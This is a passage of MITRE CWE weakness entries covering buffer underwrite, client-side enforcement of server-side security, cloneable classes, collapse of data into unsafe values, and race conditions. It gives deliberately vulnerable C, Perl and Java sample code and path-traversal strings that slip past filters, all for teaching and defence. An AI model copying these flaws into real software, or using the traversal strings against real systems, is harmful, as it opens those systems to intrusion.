However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

+ Observed Examples
ReferenceDescription
Chain: "Heartbleed" bug receives an inconsistent length parameter (CWE-130) enabling an out-of-bounds read (CWE-126), returning memory that could include private cryptographic keys and other sensitive data.
Chain: product does not handle when an input string is not NULL terminated, leading to buffer over-read or heap-based buffer overflow.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base125Out-of-bounds Read
Development Concepts699
Research Concepts1000
ChildOfWeakness BaseWeakness Base788Access of Memory Location After End of Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory970SFP Secondary Cluster: Faulty Buffer Access
Software Fault Pattern (SFP) Clusters (primary)888
CanFollowWeakness BaseWeakness Base170Improper Null Termination
Research Concepts1000
+ Relationship Notes

These problems may be resultant from missing sentinel values (CWE-463) or trusting a user-influenced input length variable.

+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERBuffer over-read
Software Fault PatternsSFP8Faulty Buffer Access
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Relationships, Taxonomy_Mappings, Weakness_Ordinalities
2009-10-29CWE Content TeamMITREInternal
updated Description, Relationship_Notes, Relationships
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, Relationships
2014-06-23CWE Content TeamMITREInternal
updated Observed_Examples
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings

CWE-124: Buffer Underwrite ('Buffer Underflow')

Weakness ID: 124
Abstraction: Base
Status: Incomplete
Presentation Filter:
+ Description

Description Summary

The software writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

+ Alternate Terms
buffer underrun:

Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C

C++

+ Common Consequences
ScopeEffect
Integrity
Availability

Technical Impact: Modify memory; DoS: crash / exit / restart

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.

Integrity
Confidentiality
Availability
Access Control
Other

Technical Impact: Execute unauthorized code or commands; Modify memory; Bypass protection mechanism; Other

If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.

Access Control
Other

Technical Impact: Bypass protection mechanism; Other

When the consequence is arbitrary code execution, this can often be used to subvert any other security service.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

(Bad Code)
Example Languages: C and C++ 
char* trimTrailingWhitespace(char *strMessage, int length) {
char *retMessage;
char *message = malloc(sizeof(char)*(length+1));

// copy input string to a temporary string
char message[length+1];
int index;
for (index = 0; index < length; index++) {
message[index] = strMessage[index];
}
message[index] = '\0';

// trim trailing whitespace
int len = index-1;
while (isspace(message[len])) {
message[len] = '\0';
len--;
}

// return string without trailing whitespace
retMessage = message;
return retMessage;
}

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the isspace() function on an address outside of the bounds of the local buffer.

Example 2

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

(Bad Code)
Example Language:
int main() {
...
strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
...
}

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

+ Observed Examples
ReferenceDescription
Unchecked length of SSLv2 challenge value leads to buffer underflow.
Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)
Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.
Buffer underflow resultant from encoded data that triggers an integer overflow.
Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.
Negative value is used in a memcpy() operation, leading to buffer underflow.
Buffer underflow due to mishandled special characters
+ Potential Mitigations

Requirements specification: The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Sanity checks should be performed on all calculated values used as index or for pointer arithmetic.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness BaseWeakness Base786Access of Memory Location Before Start of Buffer
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfWeakness BaseWeakness Base787Out-of-bounds Write
Development Concepts699
Research Concepts1000
ChildOfCategoryCategory970SFP Secondary Cluster: Faulty Buffer Access
Software Fault Pattern (SFP) Clusters (primary)888
CanFollowWeakness BaseWeakness Base839Numeric Range Comparison Without Minimum Check
Research Concepts1000
CanAlsoBeWeakness VariantWeakness Variant196Unsigned to Signed Conversion Error
Research Concepts1000
+ Relationship Notes

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).

+ Research Gaps

Much attention has been paid to buffer overflows, but "underflows" sometimes exist in products that are relatively free of overflows, so it is likely that this variant has been under-studied.

+ Causal Nature

Explicit

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUNDER - Boundary beginning violation ('buffer underflow'?)
CLASPBuffer underwrite
Software Fault PatternsSFP8Faulty Buffer Access
+ References
"Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004-01-10. <http://seclists.org/vuln-dev/2004/Jan/0022.html>.
[REF-17] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Alternate_Terms, Applicable_Platforms, Common_Consequences, Description, Relationships, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITREInternal
updated Common_Consequences
2009-10-29CWE Content TeamMITREInternal
updated Description, Name, Relationships
2011-03-29CWE Content TeamMITREInternal
updated Demonstrative_Examples, Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Demonstrative_Examples, References, Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2009-10-29Boundary Beginning Violation ('Buffer Underwrite')

CWE CATEGORY: Cleansing, Canonicalization, and Comparison Errors

Category ID: 171
Status: Draft
+ Description

Description Summary

Weaknesses in this category are related to improper handling of data within protection mechanisms that attempt to perform neutralization for untrusted data.
+ Applicable Platforms

Languages

Language-independent

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory137Representation Errors
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ChildOfCategoryCategory845CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
CanPrecedeWeakness VariantWeakness Variant289Authentication Bypass by Alternate Name
Research Concepts1000
ParentOfWeakness ClassWeakness Class172Encoding Error
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base178Improper Handling of Case Sensitivity
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base179Incorrect Behavior Order: Early Validation
Development Concepts699
ParentOfWeakness BaseWeakness Base180Incorrect Behavior Order: Validate Before Canonicalize
Development Concepts699
ParentOfWeakness BaseWeakness Base181Incorrect Behavior Order: Validate Before Filter
Development Concepts699
ParentOfWeakness BaseWeakness Base182Collapse of Data into Unsafe Value
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base183Permissive Whitelist
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base184Incomplete Blacklist
Development Concepts (primary)699
ParentOfWeakness ClassWeakness Class185Incorrect Regular Expression
Development Concepts (primary)699
ParentOfWeakness BaseWeakness Base187Partial Comparison
Development Concepts (primary)699
ParentOfWeakness VariantWeakness Variant478Missing Default Case in Switch Statement
Development Concepts699
ParentOfWeakness VariantWeakness Variant486Comparison of Classes by Name
Development Concepts699
ParentOfWeakness BaseWeakness Base595Comparison of Object References Instead of Object Contents
Development Concepts699
ParentOfWeakness BaseWeakness Base596Incorrect Semantic Object Comparison
Development Concepts699
ParentOfWeakness ClassWeakness Class697Insufficient Comparison
Development Concepts (primary)699
ParentOfWeakness ClassWeakness Class707Improper Enforcement of Message or Data Structure
Development Concepts (primary)699
Weaknesses for Simplified Mapping of Published Vulnerabilities (primary)1003
ParentOfWeakness VariantWeakness Variant768Incorrect Short Circuit Evaluation
Development Concepts (primary)699
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCleansing, Canonicalization, and Comparison Errors
CERT Java Secure CodingIDS02-JCanonicalize path names before validating them
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". 2nd Edition. Microsoft. 2002.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2009-05-27CWE Content TeamMITREInternal
updated Relationships
2009-12-28CWE Content TeamMITREInternal
updated Applicable_Platforms
2011-06-01CWE Content TeamMITREInternal
updated Description, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Related_Attack_Patterns, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2013-02-21CWE Content TeamMITREInternal
updated Potential_Mitigations
2015-12-07CWE Content TeamMITREInternal
updated Relationships
2017-01-19CWE Content TeamMITREInternal
updated Relationships

CWE-602: Client-Side Enforcement of Server-Side Security

Weakness ID: 602
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software is composed of a server that relies on the client to implement a mechanism that is intended to protect the server.

Extended Description

When the server relies on protection mechanisms placed on the client side, an attacker can modify the client-side behavior to bypass the protection mechanisms resulting in potentially unexpected interactions between the client and server. The consequences will vary, depending on what the mechanisms are trying to protect.

+ Time of Introduction
  • Architecture and Design
+ Applicable Platforms

Languages

All

Architectural Paradigms

Client-Server: (Sometimes)

+ Common Consequences
ScopeEffect
Access Control
Availability

Technical Impact: Bypass protection mechanism; DoS: crash / exit / restart

Client-side validation checks can be easily bypassed, allowing malformed or unexpected input to pass into the application, potentially as trusted data. This may lead to unexpected states, behaviors and possibly a resulting crash.

Access Control

Technical Impact: Bypass protection mechanism; Gain privileges / assume identity

Client-side checks for authentication can be easily bypassed, allowing clients to escalate their access levels and perform unintended actions.

+ Likelihood of Exploit

Medium

+ Enabling Factors for Exploitation

Consider a product that consists of two or more processes or nodes that must interact closely, such as a client/server model. If the product uses protection schemes in the client in order to defend from attacks against the server, and the server does not use the same schemes, then an attacker could modify the client in a way that bypasses those schemes. This is a fundamental design flaw that is primary to many weaknesses.

+ Demonstrative Examples

Example 1

This example contains client-side code that checks if the user authenticated successfully before sending a command. The server-side code performs the authentication in one step, and executes the command in a separate step.

CLIENT-SIDE (client.pl)

(Good Code)
Example Language: Perl 
$server = "server.example.com";
$username = AskForUserName();
$password = AskForPassword();
$address = AskForAddress();
$sock = OpenSocket($server, 1234);
writeSocket($sock, "AUTH $username $password\n");
$resp = readSocket($sock);
if ($resp eq "success") {
# username/pass is valid, go ahead and update the info!
writeSocket($sock, "CHANGE-ADDRESS $username $address\n";
}
else {
print "ERROR: Invalid Authentication!\n";
}

SERVER-SIDE (server.pl):

(Bad Code)
 
$sock = acceptSocket(1234);
($cmd, $args) = ParseClientRequest($sock);
if ($cmd eq "AUTH") {
($username, $pass) = split(/\s+/, $args, 2);
$result = AuthenticateUser($username, $pass);
writeSocket($sock, "$result\n");
# does not close the socket on failure; assumes the
# user will try again
}
elsif ($cmd eq "CHANGE-ADDRESS") {
if (validateAddress($args)) {
$res = UpdateDatabaseRecord($username, "address", $args);
writeSocket($sock, "SUCCESS\n");
}
else {
writeSocket($sock, "FAILURE -- address is malformed\n");
}
}

The server accepts 2 commands, "AUTH" which authenticates the user, and "CHANGE-ADDRESS" which updates the address field for the username. The client performs the authentication and only sends a CHANGE-ADDRESS for that user if the authentication succeeds. Because the client has already performed the authentication, the server assumes that the username in the CHANGE-ADDRESS is the same as the authenticated user. An attacker could modify the client by removing the code that sends the "AUTH" command and simply executing the CHANGE-ADDRESS.

+ Observed Examples
ReferenceDescription
ASP program allows upload of .asp files by bypassing client-side checks.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
steganography products embed password information in the carrier file, which can be extracted from a modified client.
client allows server to modify client's configuration and overwrite arbitrary files.
+ Potential Mitigations

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.

Phase: Architecture and Design

If some degree of trust is required between the two entities, then use integrity checking and strong authentication to ensure that the inputs are coming from a trusted source. Design the product so that this trust is managed in a centralized fashion, especially if there are complex or numerous communication channels, in order to reduce the risks that the implementer will mistakenly omit a check in a single code path.

Phase: Testing

Use dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Phase: Testing

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory254Security Features
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class669Incorrect Resource Transfer Between Spheres
Research Concepts (primary)1000
ChildOfWeakness ClassWeakness Class693Protection Mechanism Failure
Research Concepts1000
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory7532009 Top 25 - Porous Defenses
Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors (primary)750
ChildOfCategoryCategory975SFP Secondary Cluster: Architecture
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness BaseWeakness Base471Modification of Assumed-Immutable Data (MAID)
Research Concepts1000
PeerOfWeakness BaseWeakness Base290Authentication Bypass by Spoofing
Research Concepts1000
PeerOfWeakness ClassWeakness Class300Channel Accessible by Non-Endpoint ('Man-in-the-Middle')
Research Concepts1000
ParentOfWeakness BaseWeakness Base565Reliance on Cookies without Validation and Integrity Checking
Research Concepts1000
ParentOfWeakness BaseWeakness Base603Use of Client-Side Authentication
Research Concepts (primary)1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
PeerOfWeakness BaseWeakness Base836Use of Password Hash Instead of Password for Authentication
Research Concepts1000
+ Research Gaps

Server-side enforcement of client-side security is conceptually likely to occur, but some architectures might have these strong dependencies as part of legitimate behavior, such as thin clients.

+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A1CWE More SpecificUnvalidated Input
+ References
[REF-11] M. Howard and D. LeBlanc. "Writing Secure Code". Chapter 23, "Client-Side Security Is an Oxymoron" Page 687. 2nd Edition. Microsoft. 2002.
+ Content History
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2009-01-12CWE Content TeamMITREInternal
updated Demonstrative_Examples, Description, Likelihood_of_Exploit, Name, Observed_Examples, Other_Notes, Potential_Mitigations, Relationships, Research_Gaps, Time_of_Introduction
2009-03-10CWE Content TeamMITREInternal
updated Potential_Mitigations
2009-05-27CWE Content TeamMITREInternal
updated Demonstrative_Examples
2009-07-27CWE Content TeamMITREInternal
updated Related_Attack_Patterns, Relationships
2009-10-29CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Description
2010-02-16CWE Content TeamMITREInternal
updated References
2010-04-05CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2010-12-13CWE Content TeamMITREInternal
updated Related_Attack_Patterns
2011-03-29CWE Content TeamMITREInternal
updated Relationships
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences
2012-05-11CWE Content TeamMITREInternal
updated Relationships
2014-07-30CWE Content TeamMITREInternal
updated Relationships
2017-05-03CWE Content TeamMITREInternal
updated Related_Attack_Patterns
Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Client-Side Enforcement of Server-Side Security
2009-01-12Design Principle Violation: Client-Side Enforcement of Server-Side Security

CWE-498: Cloneable Class Containing Sensitive Information

Weakness ID: 498
Abstraction: Variant
Status: Draft
Presentation Filter:
+ Description

Description Summary

The code contains a class with sensitive data, but the class is cloneable. The data can then be accessed by cloning the class.

Extended Description

Cloneable classes are effectively open classes, since data cannot be hidden in them. Classes that do not explicitly deny cloning can be cloned by any other class without running the constructor.

+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

C++

Java

.NET

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Bypass protection mechanism

A class that can be cloned can be produced without executing the constructor. This is dangerous since the constructor may perform security-related checks. By allowing the object to be cloned, those checks may be bypassed.

+ Likelihood of Exploit

Medium

+ Demonstrative Examples

Example 1

(Bad Code)
Example Language: Java 
public class CloneClient {
public CloneClient() //throws
java.lang.CloneNotSupportedException {

Teacher t1 = new Teacher("guddu","22,nagar road");
//...
// Do some stuff to remove the teacher.
Teacher t2 = (Teacher)t1.clone();
System.out.println(t2.name);
}
public static void main(String args[]) {

new CloneClient();
}
}
class Teacher implements Cloneable {

public Object clone() {

try {
return super.clone();
}
catch (java.lang.CloneNotSupportedException e) {

throw new RuntimeException(e.toString());
}
}
public String name;
public String clas;
public Teacher(String name,String clas) {

this.name = name;
this.clas = clas;
}
}
+ Potential Mitigations

Phase: Implementation

Make classes uncloneable by defining a clone function like:

(Mitigation Code)
Example Language: Java 
public final void clone() throws java.lang.CloneNotSupportedException {
throw new java.lang.CloneNotSupportedException();
}

Phase: Implementation

If you do make your classes clonable, ensure that your clone method is final and throw super.clone().

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfWeakness ClassWeakness Class485Insufficient Encapsulation
Development Concepts (primary)699
Research Concepts (primary)1000
ChildOfCategoryCategory849CERT Java Secure Coding Section 04 - Object Orientation (OBJ)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory963SFP Secondary Cluster: Exposed Data
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness ClassWeakness Class200Information Exposure
Development Concepts699
Research Concepts1000
MemberOfViewView884CWE Cross-section
CWE Cross-section (primary)884
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPInformation leak through class cloning
CERT Java Secure CodingOBJ07-JSensitive classes must not let themselves be copied
Software Fault PatternsSFP23Exposed Data
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
CLASPExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Applicable_Platforms, Common_Consequences, Description, Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITREInternal
updated Other_Notes
2009-10-29CWE Content TeamMITREInternal
updated Common_Consequences, Description, Other_Notes, Potential_Mitigations
2011-03-29CWE Content TeamMITREInternal
updated Name
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
2014-07-30CWE Content TeamMITREInternal
updated Relationships, Taxonomy_Mappings
Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak through Class Cloning

CWE-182: Collapse of Data into Unsafe Value

Weakness ID: 182
Abstraction: Base
Status: Draft
Presentation Filter:
+ Description

Description Summary

The software filters data in a way that causes it to be reduced or "collapsed" into an unsafe value that violates an expected security property.
+ Time of Introduction
  • Implementation
+ Applicable Platforms

Languages

All

+ Common Consequences
ScopeEffect
Access Control

Technical Impact: Bypass protection mechanism

+ Observed Examples
ReferenceDescription
"/.////" in pathname collapses to absolute path.
"/.//..//////././" is collapsed into "/.././" after ".." and "//" sequences are removed.
".../...//" collapsed to "..." due to removal of "./" in web server.
chain: HTTP server protects against ".." but allows "." variants such as "////./../.../". If the server removes "/.." sequences, the result would collapse into an unsafe value "////../" (CWE-182).
MFV. Regular expression intended to protect against directory traversal reduces ".../...//" to "../".
XSS protection mechanism strips a <script> sequence that is nested in another <script> sequence.
+ Potential Mitigations

Phase: Architecture and Design

Strategy: Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Phase: Implementation

Strategy: Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Phase: Implementation

Strategy: Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Canonicalize the name to match that of the file system's representation of the name. This can sometimes be achieved with an available API (e.g. in Win32 the GetFullPathName function).

+ Relationships
NatureTypeIDNameView(s) this relationship pertains toView(s)
ChildOfCategoryCategory171Cleansing, Canonicalization, and Comparison Errors
Development Concepts (primary)699
ChildOfWeakness ClassWeakness Class693Protection Mechanism Failure
Research Concepts (primary)1000
ChildOfCategoryCategory722OWASP Top Ten 2004 Category A1 - Unvalidated Input
Weaknesses in OWASP Top Ten (2004) (primary)711
ChildOfCategoryCategory845CERT Java Secure Coding Section 00 - Input Validation and Data Sanitization (IDS)
Weaknesses Addressed by the CERT Java Secure Coding Standard (primary)844
ChildOfCategoryCategory992SFP Secondary Cluster: Faulty Input Transformation
Software Fault Pattern (SFP) Clusters (primary)888
CanPrecedeWeakness VariantWeakness Variant33Path Traversal: '....' (Multiple Dot)
Research Concepts1000
CanPrecedeWeakness VariantWeakness Variant34Path Traversal: '....//'
Research Concepts1000
CanPrecedeWeakness VariantWeakness Variant35Path Traversal: '.../...//'
Research Concepts1000
CanFollowWeakness ClassWeakness Class185Incorrect Regular Expression
Research Concepts1000
+ Relationship Notes

Overlaps regular expressions, although an implementation might not necessarily use regexp's.

+ Relevant Properties
  • Trustability
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERCollapse of Data into Unsafe Value
CERT Java Secure CodingIDS11-JEliminate noncharacter code points before validation
+ References
[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 8, "Character Stripping Vulnerabilities", Page 437.. 1st Edition. Addison Wesley. 2006.
+ Content History
Submissions
Submission DateSubmitterOrganizationSource
PLOVERExternally Mined
Modifications
Modification DateModifierOrganizationSource
2008-07-01Eric DalciCigitalExternal
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITREInternal
updated Description, Relationships, Relationship_Notes, Relevant_Properties, Taxonomy_Mappings
2008-11-24CWE Content TeamMITREInternal
updated Observed_Examples
2009-03-10CWE Content TeamMITREInternal
updated Relationships
2009-07-27CWE Content TeamMITREInternal
updated Potential_Mitigations
2010-06-21CWE Content TeamMITREInternal
updated Description, Observed_Examples
2010-12-13CWE Content TeamMITREInternal
updated Relationships
2011-03-29CWE Content TeamMITREInternal
updated Potential_Mitigations
2011-06-01CWE Content TeamMITREInternal
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITREInternal
updated References, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITREInternal
updated Potential_Mitigations
2014-07-30CWE Content TeamMITREInternal
updated Relationships

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362
Abstraction: Class
Status: Draft
Presentation Filter:
+ Description

Description Summary

The program contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.

Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

  • Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.

  • Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the program; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable program.

+ Time of Introduction
  • Architecture and Design
  • Implementation
+ Applicable Platforms

Languages

C: (Sometimes)

C++: (Sometimes)

Java: (Sometimes)

Language-independent

Architectural Paradigms

Concurrent Systems Operating on Shared Resources: (Often)

+ Common Consequences
ScopeEffect
Availability

Technical Impact: DoS: resource consumption (CPU); DoS: resource consumption (memory); DoS: resource consumption (other)

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).

Availability

Technical Impact: DoS: crash / exit / restart; DoS: instability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the program(s) into unexpected states, possibly resulting in a crash.

Confidentiality
Integrity

Technical Impact: Read files or directories; Read application data

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).

+ Likelihood of Exploit

Medium

+ Detection Methods

Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness: Moderate

Automated Static Analysis - Binary / Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Cost effective for partial coverage:

  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR High

Dynamic Analysis with automated results interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

  • Web Application Scanner

  • Web Services Scanner

  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with manual results interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Framework-based Fuzzer

Cost effective for partial coverage:

  • Fuzz Tester

  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: SOAR High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

  • Manual Source Code Review (not inspections)

Cost effective for partial coverage:

  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: SOAR High

